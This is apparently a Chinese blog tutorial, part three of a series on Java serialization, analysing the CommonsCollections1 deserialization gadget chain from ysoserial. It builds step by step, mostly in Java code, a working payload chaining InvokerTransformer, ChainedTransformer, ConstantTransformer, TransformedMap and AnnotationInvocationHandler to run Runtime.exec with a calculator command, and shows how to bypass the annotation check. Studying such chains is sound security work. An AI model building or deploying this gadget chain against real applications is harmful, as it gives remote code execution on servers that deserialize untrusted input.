java序列化与反序列学习(三)

Commons Collections

背景介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

以下是Collections的包结构和简单介绍:

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

方序列化利用原理

image-20211121153021722

分析ysoserial工具下的链子

CC

我们能够看到,执行部分是使用的Transfomer

image-20211121151446988

可以看到Transfomer的实现类,这里我们主要看InvokerTransformer

image-20211121154854093

可以看到transform方法,接收input对象,然后反射调用,参数全是可以控制的,这个方法特别像是一个后门的写法

image-20211121155147968

image-20211121155634052

首先改写调用exec方法

//正常写法
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

//改成反射调用
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getDeclaredMethod("exec", String.class);
exec.invoke(r,"open /System/Applications/Calculator.app");

现在改成InvokerTransformer的写法

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);

往下走,首先找看谁调用了transform,可以选择Find Usages进行查找,找到LazyMap和TransformedMap都直接调用了transform,先尝试TransformedMap

image-20211121185200000

首先看TransformedMap,valueTransformer调用了transform,看看它是啥

image-20211121190802495

找到了构造函数,由于是由protected修饰的,只能自己调用自己,看谁调用了

image-20211121190857213

找到个静态方法decorate直接调用了TransformedMap,这里就可以直接创建个TransformedMap

image-20211121191248050

我们是要调用valueTransformer的transform,所以只需要给valueTransformer赋值就行

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
HashMap<Object, Object> map = new HashMap<>();
//invokerTransformer.transform(value)
TransformedMap.decorate(map,null,invokerTransformer);

继续找,看谁调用了checkSetValue,发现是个MapEntry类,里面调用了setValue然后调用checkSetValue

Entry是一个静态内部类

map遍历时可以使用Entr

这里实际上就是重写了Entry里的setValue

image-20211121185441785

可以看到MapEntry继承了AbstractMapEntryDecorator

然后AbstractMapEntryDecorator继承了Map.Entry

image-20211121190249129

image-20211121190256535

所以只要遍历TransformedMap,调用setValue,就会走到MapEntry的setValue里的setValue

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");
//invokerTransformer.transform(value)
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry: transformedMap.entrySet()){
    entry.setValue(r);
}

成功调用

image-20211121193027352

继续找,看谁调用了setValue,最后找到AnnotationlnvocationHandler类里的readObject调用了setValue,这里遍历memberValues的值,然后调用了setValue方法

20220112150128

同时看到构造函数memberValues是可控的,可以放我们想放的值

20220112150441

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationConstructor.setAccessible(true);
Object o = annotationInvocationConstructor.newInstance(Override.class, transformedMap);

由于Runtime r = Runtime.getRuntime();不能反序列化,必须写成能序列化的形式
正常反射写法

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

改写成InvokerTransformer的形式

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

还找到了一个类ChainedTransformer,这个类可以放一个Transformer数组进去然后再进行递归调用,我们可以用这个类进行简写

20220112153705

Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

得出代码,跑一下发现没有成功运行

Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationConstructor.setAccessible(true);
Object o = annotationInvocationConstructor.newInstance(Override.class, transformedMap);

serialize(o);
unserialize("ser.bin");

调试后注意到,AnnotationlnvocationHandler类里还有个if没有绕过去,setValue可能执行不正确

20220112154454

调试后发现var7实际上是获取传进来注解的值
首先Class var7 = (Class)var3.get(var6);是获var3根据var6取值,var6就是key,map.put("aaa","bbb");,由于我传进来的是aaa所以var6为aaa

20220112155458

Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();

这里就是遍历map获取key
var3又等于var2.memberTypes();
var2等于AnnotationType.getInstance(this.type);,这就是获取传入的注解

我们只需要传入的注解有值,并且key为注解的key,就可以绕过这个if
可以看到Target注解有值,我们传入Target,并且把key改为value

20220112155739

运行后可以看到var7不为null,成功绕过

20220112160001

继续往下面走,可以看到这个就是我们想要的,但是value的值没法修改

20220112160640

我们还看到一个类,ConstantTransformer,这里的transform方法,不管接收什么值,都值返回固定的值,那么我们就可以最后调用ConstantTransformer的transform方法即可

20220112161050

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

成功执行

20220112161359

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇